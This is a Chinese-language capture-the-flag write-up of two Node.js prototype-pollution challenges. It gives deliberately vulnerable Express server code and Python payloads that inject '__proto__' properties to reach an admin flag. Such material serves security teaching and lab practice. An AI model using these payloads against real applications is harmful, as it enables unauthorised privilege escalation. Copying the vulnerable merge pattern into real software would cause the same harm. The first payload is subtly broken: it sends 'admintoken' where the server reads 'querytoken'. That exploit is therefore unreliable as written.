第一题
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
// matrix[__proto__][admintoken] = 123456;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
解析:
重点关注这段代码
matrix[client.row][client.col] = client.data;
可把它变为如下代码,就可成功
matrix[__proto__][admintoken] = 123456;
这段代码表示matrix.__proto__.admintoken=123456,因为matrix和user都是一个数组,matrix的原型链上加上了属性admintoken=123456,那么user的原型链上也就有这个admintoken=123456的属性。
payload:
import requests
import json
url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?admintoken=E10ADC3949BA59ABBE56E057F20F883E"
s = requests.session()
headers = {"Content-Type":"application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"123456"}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print(res2.content)
第二题
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 3000;
const HOST = '127.0.0.1';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
解析:
思路:利用merge函数,让admin这个对象的原型链上加上一个属性admin=1.
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
payload:
import requests
import json
url1 = "http://127.0.0.1:3000/signup"
url2 = "http://127.0.0.1:3000/getFlag"
s = requests.session()
headers = {"Content-Type":"application/json"}
data1 = {"__proto__":{"аdmin":1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print(res2.content)